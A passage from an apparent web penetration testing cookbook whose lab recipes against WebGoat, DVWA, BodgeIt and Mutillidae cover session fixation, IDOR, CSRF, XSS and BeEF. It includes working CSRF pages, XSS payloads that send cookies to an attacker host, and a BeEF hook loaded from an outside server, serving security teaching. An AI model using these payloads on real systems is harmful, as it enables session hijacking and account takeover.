4. In STAGE 2, we take the perspective of the victim reading the malicious email. If you put your mouse over the link to Goat Hills Financial, you'll notice that the destination URL contains the SID value we set as attackers:

5. Click on the link to move on to STAGE 3.

6. Now that the victim is on the login page, use the credentials provided and log in. Notice how the SID value in the address bar is still the one we set:

7. Now, in STAGE 4, we are back to the attacker's perspective, and we have a link to Goat Hills Financial; click on it to go to the login page.

8. Notice how the address bar has a different SID value now; this would happen if we go to the login page without being authenticated. Use the browser's developer tools to find and change the action parameter of the login form so that it has the session value we established in relation to the victim:

9. When the SID value is changed, click on Login; there's no need to set any username or password as the fields are not validated:

By changing the SID parameter the login form uses when submitted, we tricked the server into thinking our request is coming from a valid, existing session.

How it works...

In this recipe, we followed the complete path of an attack involving social engineering, by sending an email containing a malicious link to a victim. This link exploited a session fixation vulnerability, which should have been previously discovered by the attacker, and when the victim user logs in to the application, it keeps the session ID provided by the attacker and links it to the user; this enables the attacker to manipulate his/her own parameters in the application to replicate the same ID, and thereby hijack a valid user's session.

Evaluating the quality of session identifiers with Burp Sequencer

Burp Suite's Sequencer requests thousands of session identifiers from the server (by repeating the login request, for example) and analyzes the responses to determine the randomness and cryptographic strength of the algorithm generating the identifiers. The stronger the algorithm, the harder for an attacker to replicate a valid ID.

In this recipe, we will use Burp Sequencer to analyze the session ID generation by two different applications and determine some characteristics of a secure session ID generation algorithm.

Getting ready

We will use WebGoat and RailsGoat (a WebGoat version made with the Ruby on Rails framework). Both applications are available in the vulnerable VM (vm_1).

You will need to create a user in RailsGoat; to do that, use the signup button on the main page.

How to do it...

We will start analyzing RailsGoat's session cookie. We could have used any PHPSESSID or JSESSIONID cookie, but we will take advantage of this one being a custom value to review additional concepts. Configure your browser to use Burp Suite as a proxy and follow the next steps:

1. Log in to RailsGoat and look at the proxy's history for a response setting a session cookie. You should have the header Set-Cookie and should set a cookie called _railsgoat_session.

2. In this case, this is a request to /railsgoat/session. Right-click on the URL, or on the body of the request or response, and select Send to Sequencer:

3. Before continuing with Sequencer, let's see what the session cookie contains. This _railsgoat_session cookie looks like a base64-encoded string joined to a hexadecimal string by two hyphens (--). We'll explain this deduction later in this recipe. Select the value of the cookie, right-click on it, and select Send to Decoder.

4. Once in decoder, we first decode it as a URL, and then, in the second line, we decode it as base64:

It seems as if the base64 code contains three fields: session_id, which is a hexadecimal value, perhaps a hash; csrf_token, which is a value used to prevent Cross-Site Request Forgery (CSRF) attacks; and user_id, which seems to be just two characters, maybe a sequential number. The rest of the cookie (the part after the --) is not base64-encoded and appears to be a random hash. Now, we understand a little bit more about the session ID, and have learned a little bit about encoding and Burp Suite's Decoder.

5. Let's continue with our analysis in Sequencer. Go to the Sequencer tab in Burp Suite and ensure that the correct request and cookie are selected:

6. We know the cookie is encoded with base64; go to Analysis Options and select Base64-decode before analyzing. This way, Burp Suite will analyze the decoded information in the cookie.

7. Go back to the Live capture tab and click on Start live capture. A new window will appear; we wait for it to finish. It'll take some time.

8. Once it is finished, click on Analyze now:

We can see that the cookie is of excellent quality; this means it is not easily guessable by an attacker. Feel free to explore all the result tabs.

9. That was an example of a good quality session cookie; let's see a not-so-good one this time. Log in to WebGoat and go to Session Management Flaws | Hijack a Session.

10. This exercise is about bypassing a login form by hijacking a valid session ID. Attempt a login with any random username and password, just to get it recorded in Burp Suite:

11. In this case, the request that sets the session cookie is the one that first loads the exercise; search in Burp Suite's history for the Set-Cookie: WEAKID= response header. This ID is merely numbers separated by a hyphen.

12. Send the request to Sequencer.

13. Select the WEAKID cookie as the target to analyze.

14. Start the live capture and wait for it to finish and execute the analysis:

For this ID, we can see that the quality is extremely poor. Going to the character analysis, we can have a better idea:

This chart shows the degree of change or significance for each character position. We see that significance increases from position 2 to position 3 and from 3 to 4, to then fall again in 5, which is the location of the hyphen. This suggests that the first part of the ID is incremental and that the same may apply to the second part, but with a different rate.

How it works...

Burp Suite's Sequencer performs different statistical analyses on large amounts of session identifiers (or whatever piece of information from a response we provide to it) to determine whether such data is being randomly generated or whether there may be a predictable pattern that may allow an attacker to generate a valid ID and hijack a session with it.

First, we analyzed a complex session cookie composed by a data structure encoded using the base64 algorithm and what seems to be an SHA-1 hash. We can tell that the first part is base64-encoded because it contains lowercase and uppercase letters, numbers, may also contain a plus symbol (+) or a slash (/), and it also ends in %3D, which is the URL escape sequence for =, a string terminator in base64. We say the second part of the cookie is an SHA-1 hash because it is a hexadecimal string of 40 digits; each hexadecimal digit represents 4 bits, and 4 bits * 40 digits = 160 bits; and SHA-1 is the most popular 160-bit hashing algorithm.

Then, we analyzed a weakly generated session ID. It's rather obvious that it is incremental, since in decimal numbers, the digit in the rightmost position changes ten times more frequently than its closest left-hand neighbor. The second part of the ID, based on its length and most significant digits, suggests a Unix timestamp (https://en.wikipedia.org/wiki/Unix_time).

See also

Dig further into the generation mechanisms for the WEAKID session cookie and try to figure out a way of discovering an active session cookie to bypass the login. Use Burp Suite's Repeater and Intruder to facilitate the job.

To learn more about how to distinguish encoding, hashing, and encryption, check out this excellent article: https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/.

Abusing insecure direct object references

A direct object reference is when an application uses input provided by the client to access a server-side resource by name or other simple identifier, for example, using a file parameter to search for a specific file in the server and allowing the user to access it.

If the application doesn't properly validate the value provided by the user, and that such a user is allowed to access the resource, an attacker can take advantage of this to bypass privilege level controls and access files or information not authorized for that user.

In this recipe, we will analyze and exploit a simple example of this vulnerability in the RailsGoat application.

Getting ready

For this recipe, we need to have at least two users registered in RailsGoat. One of them will be the victim with the username user, and the other one will be the attacker, called attacker.

How to do it...

For this exercise, it is preferable that we know the passwords for both users, although we only really need to know the attacker's password in a real-life scenario.

Configure the browser to use Burp Suite as a proxy and do the following:

1. Log in as the user and go to account settings; click on the profile picture (top right-hand corner) and account settings:

Notice that, in our example, the URL says users/7/account_settings. Could it be that that number 7 is a user ID?

2. Log out and log in as the attacker.

3. Go to account settings again and observe that the URL for the attacker settings has a different number.

4. Enable request interception in Burp Suite.

5. Change the password for the attacking user. Set a new password, confirm it, and click Submit.

6. Let's analyze the intercepted request:

Let's focus on the underlined parts of the screenshot. First, the request is made to a 9.json file; 9 is the number in the URL of the attacker's account settings, so that may be the user ID. Next, there is a user%5Buser_id%50 parameter (user[user_id], if we decode it) with the value 9, and then a user%5Bemail%50 or user[email] once URL-decoded. The last two parameters are the password and its confirmation.

7. So, what if all those references to user number 9 in the attacker's requests are not correctly validated? Let's try and attack the victim user, which has the ID of 7.

8. As the attacker, make a password change and intercept the request again.

9. Change the request, replacing the attacker's ID with the victim's ID in both the URL and user_id parameters.

10. Change the rest of the request as per the underlined values in the screenshot, or choose your own:

11. Submit the request and verify that it is accepted (response code 200 and a message success in the body).

12. Log out and try to log in as the victim user with the original password and the login will fail.

13. Now, try the password set in the attacker's request and the login will be successful.

14. Go to account settings and verify that the other changes also happened:

How it works...

In this recipe, we first checked the URL of the user's account settings and noticed that the application may distinguish users by a numeric ID. Then, we performed a request to change the user's information and verified the use of numeric identifiers.

Then, we attempted to replace the ID of the user, making changes to affect other users, and it turned out that RailsGoat makes a direct object reference to the object that contains the user's information and only validates with the user ID provided in the body of the same request to make changes. This way, as the attacker, we only needed to know the victim's ID to change their information, even the password, which allowed us to log in on their behalf.

Performing a Cross-Site Request Forgery attack

A CSRF attack is one that makes authenticated users perform unwanted actions in the web application they are authenticated with. This is done through an external site that the user visits, and that triggers these actions.

In this recipe, we will obtain the required information from the application in order to know what the attacking site should do to send valid requests to the vulnerable server, and then we will create a page that simulates the legitimate requests and tricks the user into visiting that page while authenticated. We will also make a few iterations on the basic proof of concept to make it look more like a real-world attack, where the victim doesn't notice it.

Getting ready

You'll need a valid user account in BodgeIt for this recipe. We'll use user@example.com as our victim:

How to do it...

We first need to analyze the request we want to force the victim to make. To do this, we need Burp Suite, or another proxy configured in the browser:

1. Log in to BodgeIt as any user and click on the username to go to the profile.

2. Make a password change. Let's see what the request looks like in the proxy:

So, it is a POST request to http://192.168.56.11/bodgeit/password.jsp and has only the password and its confirmation in the body.

3. Let's try to make a very simple HTML page that replicates this request. Create a file (we'll name it csrf-change-password.html) with the following contents:

<html>
<body>
<form action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword">
<input name="password2" value="csrfpassword">
<input type="submit" value="submit">
</form>
</body>
</html>

4. Now, load this file in the same browser as our logged-in session:

5. Click on submit and you'll be redirected to the user's profile page. It'll tell you that the password was successfully updated.

6. Although this proves the point, an external site (or a local HTML page as in this case) can execute a password change request on the application. It's still unlikely that a user will click on the Submit button. We can automate that and hide the input fields so that the malicious content is hidden. Let's make a new page based on the previous one; we'll call it csrf-change-password-scripted.html:

<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account.
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
</body>
</html>

This time, the form has an ID parameter and there is a script in the page that will submit its content when the page is loaded completely.

7. If we load this page in the same browser where we have a BodgeIt session initiated, it will automatically send the request and the user's profile page will show after that. In the following screenshot, we used the browser's Debugger to set a breakpoint just before the request is made:

8. This last attempt looks better from an attacker's perspective; we only need the victim to load the page and the request will be sent automatically, but then the victim will see the Your password has been changed message and that will surely raise an alert.

9. We can further improve the attacking page by making it load the response in an invisible frame inside the same page. There are many ways of doing this; a quick and dirty one is to set a size 0 for the frame. Our file would look like this:

<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account.
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST" target="target_frame">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
<iframe name="target_frame" height="0%" witdht="0%">
</iframe>
</body>
</html>

Notice how the target property of the form is the iframe defined just below it, and that such frame has 0% height and width.

10. Load the new page in the browser where the session is initiated. This screenshot shows how the page looks when being inspected with the browser's Developer Tools:

Notice that the iframe object is only a black line in the page and, in the Inspector, we can see that it contains the BodgeIt user's profile page.

11. If we analyze the network communications undertaken by our CSRF page, we can see that it actually makes requests to change the BodgeIt password:

How it works...

When we send a request from a browser and already have a cookie belonging to the target domain stored, the browser will attach the cookie to the request before it is sent; this is what makes cookies so convenient as session identifiers, but this characteristic of how HTTP works is also what makes it vulnerable to an attack like the one we saw in this recipe.

When we load a page in the same browser where we have an active session in an application, even if it's a different tab or window, and this page makes a request to the domain where the session is initiated, the browser will automatically attach the session cookie to that request. If the server doesn't verify that the requests it receives actually originated from within the application, usually by adding a parameter containing a unique token that changes with every request or on every occasion, it allows a malicious site to make calls on behalf of legitimate, active users that visit this malicious site while authenticated to the target domain.

In a web application penetration test, the first code we used, the one with the two text fields and the Submit button, may be enough to demonstrate the presence of a security flaw. However, if the penetration testing of the application is part of another engagement, such as a social engineering or red team exercise, some extra effort will be required to prevent the victim user from suspecting that something is happening. In this recipe, we used JavaScript to automate the sending of the request by setting the onload event in the page and executing the form's submit method in the event handler function. We also used a hidden iframe to load the response of the password change, so, the victim never sees the message that his/her password has changed.

See also

Applications often use web services to perform certain tasks or retrieve information from the server without changing or reloading pages; these requests are made via JavaScript (they will add the header X-Requested-With: XMLHttpRequest)  and usually in JSON or XML formats, with a Content-Type header with the value application/json or application/xml. When this happens, and we try to make a cross-site/domain request, the browser will perform what is called a preflight check, which means that before the intended request, the browser will send an OPTIONS request to verify what methods and content types the server allows being requested from cross origins (domains other than the one the application belongs to).

The preflight check can interrupt a CSRF attack as the browser won't send the malicious request if the server doesn't allow cross-origin requests. However, this protection only works when the request is made via scripting, and not when it is made via a form. So, if we can convert the JSON or XML request to a regular HTML form, we can make a CSRF attack. If this is not possible, because the server only allows certain content types, for example, then our only chance for a successful CSRF is if the server's Cross Origin Resource Sharing (CORS) policy allows requests from our attacking domain, so check for the Access-Control-Allow-Origin header in the server's responses.

Cross-Site Scripting and Client-Side Attacks

In this chapter, we will cover:

- Bypassing client-side controls using the browser

- Identifying Cross-Site Scripting vulnerabilities

- Obtaining session cookies through XSS

- Exploiting DOM XSS

- Man-in-the-Browser attack with XSS and BeEF

- Extracting information from web storage

- Testing WebSockets with ZAP

- Using XSS and Metasploit to get a remote shell

Introduction

The main difference between web applications and other types of application is that web applications don't have software or a user interface installed on the client, so the browser plays the role of client on the user's device.

In this chapter, we will focus on vulnerabilities that take advantage of the fact that the browser is a code interpreter that reads HTML and scripting code, and displays the result to users, as well as allowing them to interact with the server via HTTP requests and more recently WebSockets, an addition to the latest version of the HTML language, HTML5.

Bypassing client-side controls using the browser

Processing in web applications happens both on the server side and the client side. The latter is often used to do things related to how information is presented to the user; also, input validation and some authorization tasks are performed client-side. When these validation and authorization checks are not reinforced by a similar server-side process, we may face a security problem, as client-side information and processing is easily manipulable by users.

In this recipe, we will see a couple of situations where a malicious user can take advantage of client-side controls that are not backed up by server-side counterparts.

How to do it...

Let's look at a practical example using WebGoat:

1. Log in to WebGoat and go to Access Control Flaws | LAB Role Based Access Control | Stage 1: Bypass Business Layer Access Control:

3. Use Tomcat's credentials (Tom:tom) to log in and enable Firefox's Developer Tools (F12).

4. Let's inspect the list of employees. We can see that the only element, Tom Cat (employee), is an option HTML tag with the value 105:

4. Go to the Network tab in Developer Tools and click on ViewProfile. Notice how the request has a parameter called employee_id and its value is 105:

5. Click on ListStaff to go back to the list.

6. Change to the Inspector tab in Developer Tools.

7. Double-click on the value (105) of the option tag and change it to 101. We want to see whether it is possible to look at other users' information by changing this parameter.

8. Click on ViewProfile again:

9. Now, the task in WebGoat is to delete Tom's profile using his own account, so let's try that. Click on ListStaff to go back to the list.

10. Now, inspect the ViewProfile button.

11. Notice how its name is action and its value is ViewProfile; change the value to DeleteProfile:

12. The text in the button will change. Click DeleteProfile and this stage will be completed:

How it works...

In this recipe, we first noticed that the employee IDs are given to the client as values in a list and sent to the server as request parameters, so we tried and changed the employee_id parameter to get information from an employee we shouldn't have access to.

After that, we noticed, by checking the Inspector, that all buttons have the same name, action, and their values are the action to be taken when pressed. This can be confirmed by checking the requests in the Network tab of the Developer Tools. So, if we have actions such as SearchStaff, ViewProfile, and ListStaff, maybe DeleteProfile would do the thing the challenge asks for. After we changed the ViewProfile button's value and clicked on it, we verified our assumption was correct, and we can delete any user (or perform any action) in this application by manipulating the values of the HTML elements with the tools any web browser includes.

See also

Mutillidae II, also included in OWASP BWA, has a very interesting challenge for client-side control bypasses. It's recommended the reader tries it.

Identifying Cross-Site Scripting vulnerabilities

Cross-Site Scripting (XSS) is one of the most common vulnerabilities in web applications; in fact, it is considered third in the OWASP Top 10 from 2013 (https://www.owasp.org/index.php/Top_10_2013-Top_10).

In this recipe, we will see some key points in identifying an XSS vulnerability in a web application.

How to do it...

Let's look at the following steps:

1. We will use Damn Vulnerable Web Application (DVWA) for this recipe. Log in using the default admin credentials (admin as both username and password) and go to XSS reflected.

2. The first step in testing for a vulnerability is to observe the normal response of the application. Introduce a name in the textbox and click Submit. We will use Bob:

3. The application used the name we provided to form a phrase. What happens if instead of a valid name we introduce some special characters or numbers? Let's try with <'this is the 1st test'>:

4. Now, we see that anything we put in the textbox will be reflected in the response; that is, it is becoming the part of the HTML page in response. Let's check the page's source code to analyze how it presents the information:

The source code shows that there is no encoding for special characters in the output and the special characters we send are reflected back in the page without any prior processing. The < and > symbols are the ones used to define HTML tags, so maybe we can introduce some script code.

5. Try introducing a name followed by very simple script code, Bob<script>alert('XSS')</script>:

The page executed the script, causing an alert to appear, so this page is vulnerable to XSS.

6. Now, check the source code to see what happened with our input:

It looks like our input was processed as if it was a part of the HTML code; the browser interpreted the <script> tag and executed the code inside it, showing the alert as we set it.

How it works...

XSS vulnerabilities happen when weak or no input validation is done and there is no proper encoding of the output, both on the server side and client side. This means that the application allowed us to introduce characters that are also used in HTML code and, when it was going to send them to the page, did not follow any encoding process (such as using the HTML escape codes &lt; and &gt;) to prevent them from being interpreted as HTML or JavaScript source code.

These vulnerabilities are used by attackers to alter the way a page behaves on the client side and to trick users into performing tasks without them knowing, or to steal private information.

To discover the existence of an XSS vulnerability, we followed some leads:

- The text we introduced in the box was used exactly as sent to form a message that was presented on the page; that is, it is a reflection point

- Special characters were not encoded or escaped

- The source code showed that our input was integrated in a position where it could become a part of the HTML code and be interpreted as that by the browser

There's more...

In this recipe, we discovered a reflected XSS; this means that the script is executed every time we send this request and the server responds to it. Another type of XSS is called a stored XSS. A stored XSS is one that may or may not be presented immediately after input submission, but such input is stored on the server (maybe in a database) and is executed every time a user accesses the stored data.

Obtaining session cookies through XSS

In the previous recipe, we did a very basic proof of concept for an XSS exploitation. Also, in previous chapters, we saw how a session cookie can be used by an attacker to steal a valid user's session. XSS vulnerabilities and session cookies that are not protected by the HttpOnly flag can be a deadly combination for a web application's security.

In this recipe, we will see how an attacker can exploit an XSS vulnerability to grab a user's session cookie.

How to do it...

The attacker needs to have a server to receive the exfiltrated data (session cookies, in this case), so we will use a simple Python module to set it up. These are the steps:

1. To start a basic HTTP server with Python, run the following command in a Terminal in Kali Linux:

2. Now log in to DVWA and go to XSS reflected.

3. Enter the following payload in the Name textbox:

Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+'">');</script>

4. Now, go back to the Terminal where the Python server is running and see how it has received a new request:

Notice that the URL parameter (after GET) contains the user's session cookie.

How it works...

In attacks such as XSS, where user interaction is required in order to exploit a vulnerability, attackers have little or no control over when the user clicks the malicious link or performs the action required to compromise the application. In such a scenario, the attacker should have a server set up to receive the information sent by the victim.

In this example, we used the SimpleHTTPServer module provided by Python, but a more sophisticated attack would obviously require a more sophisticated server.

After that, going to DVWA and entering the payload in the Name textbox simulates a user clicking on a link to http://192.168.56.11/dvwa/vulnerabilities/xss_r/?name=Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+'">');</script> sent by an attacker. Once the user's browser loads the page and interprets the payload as JavaScript code, it will try to access an image stored on the attacker's server (http://192.168.56.10:88, our Kali VM) with the value of the cookie as the filename. The attacker's server will register this request and return a 404 Not found error; they can then take the logged session cookie and use it to hijack the user's session.

See also

In this recipe, we used the <script> tag to inject a JavaScript code block into the page; however, this is not the only HTML tag we can use, especially with the additions made by HTML5, where we have <video> and <audio>, for example. Let's see some other payloads we could have used to exploit XSS:

- Generating an error event on tags with an src/source parameter, such as <img>, <audio>, and <video>:

<img src=X onerror="javascript:document.write('<img src=&quot;http://192.168.56.10:88/img'+document.cookie+'&quot;>')">

Or, use the following:

<audio><source onerror="javascript:alert('XSS')">

Or, there is also this:

<video><source onerror="javascript:alert('XSS')">

- Injecting a <script> tag that loads an external JavaScript file:

<script src="http://192.168.56.10:88/malicious.js">

- If the injected text is set as a value inside an HTML tag and surrounded by quotes ("), like in <input value="injectable_text">, we can close the quotes and add an event to the code. For example, replace injectable_text with the following code. Notice how the last quote is not closed so we can use the one already in the HTML code:

" onmouseover="javascript:alert('XSS')

- Injecting a link or other tag with the href property to make it execute code whenever it is clicked:

<a href="javascript:alert('XSS')">Click here</a>

There are a multitude of variations of tags, encodings, and instructions that can be used to exploit an XSS vulnerability. For a more complete reference, see the OWASP XSS Filter Evasion Cheat Sheet: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

Exploiting DOM XSS

Also referred to as client-side XSS, DOM XSS is named this way because the payload is received and processed by the DOM of the browser, which means that the injected code never reaches the server and any server-side validation or encoding is ineffective against this kind of attack.

In this recipe, we will analyze how this vulnerability can be detected and exploited in a web application.

How to do it...

The following are the steps for detecting and exploiting this vulnerability in a web application:

1. In the vulnerable virtual machine vm_1, go to Mutillidae II | Top 10 2013 | XSS | DOM | HTML5 local storage.

2. This exercise shows a form that stores information in the browser's local and session storage. Enable the Developer Tools in the Network tab.

3. Try adding some data and notice how there is no network communication, and that the green bar displays the value given to the key:

4. If we inspect the Add New button, we see it calls a function, addItemToStorage, when clicked:

5. Now, go to the Debugger tab and look for the addItemToStorage function; we find it in line 1064 of index.php:

The arrow with number 1 shows that there is some input validation in place, but it depends on the value of a variable called gUseJavaScriptValidation. If we look for this variable in the code, we find it is initially declared with the value FALSE (line 1027) and there doesn't seem to be any place where its value changes, so maybe that condition is never true. We follow the code flow and find that there's no other validation or modification of the variable that holds the value of the key. And in 2, line 1093, that value is passed as a parameter to the setMessage function, which in line 1060 3, adds the message to the page by using the innerHTML property of an existing element.

6. So, let's try setting a key value that includes HTML code. Add a new entry with the following as the key: Cookbook test <H1>3</H1>

7. If the HTML code is interpreted by the browser, it is very likely that a JavaScript block also would be. Add a new entry with the following as the key: Cookbook test <img src=X onerror="alert('DOM XSS')">

How it works...

In this recipe, we first analyzed the behavior of the application, noticing that it didn't connect to the server to add information to the page and that it reflected a value given by the user. Later, we analyzed the script code that adds the data to the browser's internal storage, and noticed that such data may not be properly validated and presented back to the user via the innerHTML property, at least for the key value, which implies that the data is treated as HTML code, not as text.

To try this lack of validation, we first inserted some text with HTML header tags and got the code interpreted by the browser. Our last step was to attempt an XSS proof of concept that was successful.

Man-in-the-Browser attack with XSS and BeEF

BeEF, the Browser Exploitation Framework, is a tool that focuses on client-side vectors, specifically on attacking web browsers.

In this recipe, we will exploit an XSS vulnerability and use BeEF to take control of the client browser.

Getting ready

Before we start, we need to be sure that we have started the BeEF service and are capable of accessing http://127.0.0.1:3000/ui/panel (with beef/beef as login credentials).

1. The default BeEF service in Kali Linux doesn't work, so we cannot simply run beef-xss to get BeEF running. Instead, we need to run it from the directory in which it was installed, as shown here:

cd /usr/share/beef-xss/
./beef

2. Now, browse to http://127.0.0.1:3000/ui/panel and use beef as both the username and password. If that works, we are ready to continue.

How to do it...

BeEF needs the client browser to call the hook.js file, which is the one that hooks the browser to our BeEF server and we will use an application vulnerable to XSS to make the user call it:

1. Imagine that you are the victim; you have received an email containing a link to http://192.168.56.11/bodgeit/search.jsp?q=<script src="http://192.168.56.10:3000/hook.js"></script> and you browse to that link.

2. Now, in the BeEF panel, the attacker will see a new online browser:

3. If we check the Logs tab in the browser, we may see that BeEF is storing information about the actions the user is performing in the browser's window, such as typing and clicking, as we can see here:

4. The best thing for the attacker to do after a browser is hooked is to generate some persistence, at least while the user is navigating in the compromised domain. Go to the Commands tab in the attacker's browser and, from there in the Module Tree, go to Persistence | Man-In-The-Browser and then click on Execute.

5. After the module executes, select the relevant command in Module Results History to check the results shown as follows:

6. The attacker can also use BeEF to execute commands in the victim browser; for example, in the Module Tree go to Browser | Get Cookie and click Execute to get the user's cookie:

How it works...

In this recipe, we used the src property of the script tag to call an external JavaScript file; in this case, the hook to our BeEF server.

This hook.js file communicates with the server, executes the commands, and returns the responses so that the attacker can see them; it prints nothing in the client's browser so the victim will generally never know that his or her browser has been compromised.

After making the victim execute our hook script, we used the persistence module Man-in-the-Browser to make the browser execute an AJAX request every time the user clicks a link to the same domain, so that this request keeps the hook and also loads the new page.

We also saw that BeEF's log keeps a record of every action the user performs on the page, and we were able to obtain a username and password from this. It was also possible to obtain the session cookie remotely, which could have allowed an attacker to hijack the victim's session.

The colored circle to the left of the module indicates the availability and visibility of the module: green means that the module works for the victim browser and should not be visible to the user, orange says that it will work but the user will notice it or will have to interact with it, gray means that it hasn't been tested in that browser, and red means that the module does not work against the hooked browser.

There's more...

BeEF has an incredible amount of functionality, from ascertaining the type of browser the victim is using, to the exploitation of known vulnerabilities and the complete compromise of the client system. Some of the most interesting features are as follows:

- Social Engineering—Pretty Theft: This is a social engineering tool that allows us to simulate a login popup resembling common services such as Facebook, LinkedIn, YouTube, and others.

- Browser—webcam and browser—webcam HTML5: As obvious as it might seem, these two modules are able to abuse a permissive configuration to activate the victim's webcam. The first uses a hidden flash embed and the second uses HTML5.

- Exploits folder: This contains a collection of exploits for specific software and situations; some of them exploit servers and others the client's browser.

- Browser—hooked domain/get stored credentials: This attempts to extract the username and passwords for the compromised domains stored in the browser.

- Use as proxy: If we right-click on a hooked browser, we get the option to use it as a proxy, which makes the client's browser a web proxy; this may give us the chance to explore our victim's internal network.

There are many other attacks and modules in BeEF that are useful to a penetration tester; if you want to learn more, you can check out the official wiki at https://github.com/beefproject/beef/wiki.

Extracting information from web storage

Prior to HTML5, the only way a web application could store information persistently or on a session basis in a user's computer was through cookies. In this new version of the language, new storage options, called web storage, are added, namely local storage and session storage. These allow an application to store and retrieve information from a client (browser) using JavaScript, and this information is kept until explicitly deleted, in the case of local storage, or in the case of session storage, until the tab or window that saved it is closed.

In this recipe, we will use XSS vulnerabilities to retrieve information from the browser's web storage, showing that this information can be easily exfiltrated by an attacker if an application is vulnerable.

How to do it...

We will use Mutillidae II and its HTML5 web storage exercise again for this recipe. Here are the steps:

1. In the Kali VM, browse to Mutillidae II (http://192.168.56.11/mutillidae) and in the menu, go to HTML5 | HTML 5 Web Storage | HTML 5 Web Storage.

2. Open Developer Tools and go to the Storage tab. Then, go to Local Storage and select the server address (192.168.56.11):

Here, we can see that there are three values in Local Storage.

3. Now, change to Session Storage and select the server address:

In the temporary or per-session storage, we see four values, among them one called Secure.AuthenticationToken.

4. We mentioned before that Local Storage is accessible on a per-domain basis, which means that any application running in the same domain can read and manipulate, for example, the MessageOfTheDay entry we saw in step 2. Let's try and exploit a vulnerability in another application to access this data. On the same browser, open a new tab and go to BodgeIt (http://192.168.56.11/bodgeit).

1. We know BodgeIt's search is vulnerable to XSS, so enter the following payload in the search box and execute it:

<script>alert(window.localStorage.MessageOfTheDay);</script>

6. Now, try the same with the Session Storage:

<script>alert(window.sessionStorage.getItem("Secure.AuthenticationToken"));</script>

7. As we cannot access the Session Storage from a different window, go back to the Mutillidae II tab and go to Owasp 2013 | XSS | Reflected First Order | DNS lookup.

8. In the Hostname/IP field, enter the preceding payload and click on Lookup DNS:

How it works...

In this recipe, we saw how we can use the browser's Developer Tools to view and edit the contents of the browser's storage. We verified the differences in accessibility between Local Storage and Session Storage, and how an XSS vulnerability can expose all stored information to an attacker.

First, we accessed Local Storage from an application different from the one that added the storage, but in the same domain. To do that, we used window.localStorage.MessageOfTheDay, taking the key value as the object name and referencing it directly as a member of Local Storage. For the Session Storage, we had to move to the window that created the storage and exploit a vulnerability there; here, we used a different instruction to get the value we wanted: window.sessionStorage.getItem("Secure.AuthenticationToken". Both forms (key as a member of the class and getItem) are valid for both types of storage. We used getItem in the session because the key includes a period (.), and this would be processed as an object/property delimiter by the JavaScript interpreter, so we needed to use getItem to enclose it in colons.

There's more...

If an application uses web storage to keep sensitive information about users, XSS shouldn't be the only security concern. If an attacker has access to the user's computer, this attacker can directly access the files where Local Storage is kept, as browsers save this information in clear text in local database files. It's left to the reader to investigate where these files are stored by different browsers and in different operating systems, and how to read them.

Testing WebSockets with ZAP

As HTTP is a stateless protocol, it treats every request as unique and unrelated to the previous and next ones, which is why applications need to implement mechanisms such as session cookies to manage the operations performed by a single user in a session. As an alternative to overcome this limitation, HTML5 incorporates WebSockets. WebSockets provide a persistent, bidirectional communication channel between client and server over the HTTP protocol.

In this recipe, we will show how to use OWASP ZAP to monitor, intercept, and modify WebSockets communication as we do with normal requests during penetration testing.

Getting ready

OWASP BWA doesn't yet include an application that uses WebSockets, so we will need to use Damn Vulnerable Web Sockets (DVWS) (https://www.owasp.org/index.php/OWASP_Damn_Vulnerable_Web_Sockets_(DVWS)), also from OWASP, for this recipe.

DVWS is a PHP-based open source application; download it into your Kali VM from its GitHub repository: https://github.com/interference-security/DVWS/.

In ideal conditions, we would only need to download the application, copy it to the Apache root directory, and start the services to have it running, but unfortunately for us, this is not the case in Kali Linux.

First, you need to install the php-mysqli package using apt install php-mysqli. Pay attention to the PHP version it is for; in our case it is for 7.2. Check PHP versions in Apache config files and adjust accordingly. Be sure that the correct versions of the PHP modules are in /etc/apache2/mods-enabled/; if they are not, copy the right ones from /etc/apache2/mods-available/ and remove the unnecessary ones:

Also, check that the MySQL module is enabled in php.ini (/etc/php/<php_version>/apache2/php.ini). Look for the Dynamic Extensions section and enable (remove the preceding ;) the extension=mysqli line.

Next, configure the database. First, start the MySQL service (service mysql start) and then the MySQL client (mysql) from the Terminal. Once in the MySQL prompt, create the DVWS database with create database dvws_db; and exit MySQL. When the database is created, we need to create its table structure. DVWS includes a script to do that, so execute the following in a Terminal: mysql dvws_db < /var/www/html/DVWS/includes/dvws_db.sql (assuming /var/www/html/ is Apache's document root directory):

As DVWS uses a predefined hostname, we need to fix a name resolution for that name to our local address, which is the one we will be using to test. Open /etc/hosts with your favorite text editor and add the line 127.0.0.1 dvws.local to it.

Now, we can start our Apache service with service apache2 start and browse to http://dvws.local/DVWS/. Follow the instructions given there, including starting the WebSockets listener (php ws-socket.php), and run the setup script to finish configuring the database (http://dvws.local/DVWS/setup.php):

Now, we are ready to continue.

How to do it...

We chose ZAP for this exercise as it can monitor, intercept, and repeat WebSockets messages. Burp Suite can monitor WebSockets communication; however, it doesn't have the ability to intercept, modify, and replay messages:

1. Configure your browser to use ZAP as a proxy, and in ZAP, enable the WebSockets tab by clicking on the plus icon in the bottom panel:

2. Now, in the browser go to http://dvws.local/DVWS/ and select Stored XSS from the menu:

3. Enter some comments and change to ZAP. In the History tab, look for for a request to http://dvws.local:8080/post-comments; this is the handshake to start the WebSockets session:

A request to initiate WebSockets communication includes the Sec-WebSocket-Key header followed by a base64 encoded value. This key is not an authentication mechanism; it only helps ensure that the server does not accept connections from non-WebSockets clients:

The server's response is a 101 Switching Protocols code that includes a header, Sec-WebSocket-Accept, with a key similar in purpose to the one used by the client.

